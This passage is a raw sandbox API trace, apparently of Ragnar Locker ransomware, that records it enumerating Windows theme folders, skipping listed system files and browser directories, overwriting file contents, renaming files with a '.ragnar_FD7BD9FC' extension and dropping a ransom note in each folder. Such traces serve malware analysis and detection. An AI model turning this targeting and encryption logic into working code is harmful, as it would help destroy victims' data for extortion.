nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.728] GetProcessHeap () returned 0x580000 [0070.728] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.728] CloseHandle (hObject=0x100) returned 1 [0070.729] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" [0070.729] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.ragnar_FD7BD9FC" [0070.729] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.729] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1f4f40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c1f4f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.729] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0070.729] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0070.729] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\RGNR_FD7BD9FC.txt") returned=".txt" [0070.729] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0070.729] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0070.729] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0070.729] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0070.729] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned=".PNG" [0070.729] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0070.730] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0070.730] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0070.730] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0070.730] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0070.730] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0070.730] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0070.730] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0070.730] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0070.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0070.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0070.734] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=25234) returned 1 [0070.734] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6289, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.734] GetProcessHeap () returned 0x580000 [0070.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.734] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.736] VirtualAlloc (lpAddress=0x0, dwSize=0x6292, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.736] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.736] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.736] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6292, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6292, lpOverlapped=0x0) returned 1 [0070.737] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.737] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6292, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.738] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6292, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6292, lpOverlapped=0x0) returned 1 [0070.738] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6292, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.738] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.738] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6292, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.738] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.738] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.738] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.739] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.739] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.739] GetProcessHeap () returned 0x580000 [0070.739] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.739] CloseHandle (hObject=0x100) returned 1 [0070.740] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" [0070.740] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0070.740] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.740] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0070.740] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0070.740] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0070.740] lstrcmpiW (lpString1="ARCTIC", lpString2=".") returned 1 [0070.740] lstrcmpiW (lpString1="ARCTIC", lpString2="..") returned 1 [0070.740] lstrcmpiW (lpString1="ARCTIC", lpString2="Windows") returned -1 [0070.740] lstrcmpiW (lpString1="ARCTIC", lpString2="Windows.old") returned -1 [0070.740] lstrcmpiW (lpString1="ARCTIC", lpString2="Tor browser") returned -1 [0070.740] lstrcmpiW (lpString1="ARCTIC", lpString2="Internet Explorer") returned -1 [0070.740] lstrcmpiW (lpString1="ARCTIC", lpString2="Google") returned -1 [0070.741] lstrcmpiW (lpString1="ARCTIC", lpString2="Opera") returned -1 [0070.741] lstrcmpiW (lpString1="ARCTIC", lpString2="Opera Software") returned -1 [0070.741] lstrcmpiW (lpString1="ARCTIC", lpString2="Mozilla") returned -1 [0070.741] lstrcmpiW (lpString1="ARCTIC", lpString2="Mozilla Firefox") returned -1 [0070.741] lstrcmpiW (lpString1="ARCTIC", lpString2="$Recycle.Bin") returned 1 [0070.741] lstrcmpiW (lpString1="ARCTIC", lpString2="ProgramData") returned -1 [0070.741] lstrcmpiW (lpString1="ARCTIC", lpString2="All Users") returned 1 [0070.741] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.741] lstrcpyW (in: lpString1=0x1eb638, lpString2="ARCTIC" | out: lpString1="ARCTIC") returned="ARCTIC" [0070.741] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\" [0070.741] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\" [0070.741] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\RGNR_FD7BD9FC.txt" [0070.741] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0070.746] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*" [0070.747] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0070.747] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.747] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c6919e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c6919e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0070.747] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0070.747] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c6919e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c6919e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.747] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0070.747] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0070.747] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0070.747] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2=".") returned 1 [0070.747] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="..") returned 1 [0070.747] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0070.747] lstrcmpiW (lpString1="ARCTIC.INF", lpString2=".") returned 1 [0070.747] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="..") returned 1 [0070.747] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0070.747] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0070.747] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0070.747] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6919e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c6919e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.747] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0070.747] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0070.747] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0070.747] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0070.747] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0070.747] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0070.747] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0070.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c6919e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c6919e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0070.748] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c6919e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c6919e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.748] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0070.748] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0070.748] lstrcpyW (in: lpString1=0x1eab6e, lpString2="ARCTIC.ELM" | out: lpString1="ARCTIC.ELM") returned="ARCTIC.ELM" [0070.748] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned=".ELM" [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="autorun.inf") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="boot.ini") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="bootfont.bin") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="bootsect.bak") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="bootmgr") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="bootmgr.efi") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="bootmgfw.efi") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="desktop.ini") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="iconcache.db") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="ntldr") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="ntuser.dat") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="ntuser.dat.log") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="ntuser.ini") returned -1 [0070.748] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="thumbs.db") returned -1 [0070.748] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0070.748] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0070.748] lstrcmpiW (lpString1=".ELM", lpString2=".dll") 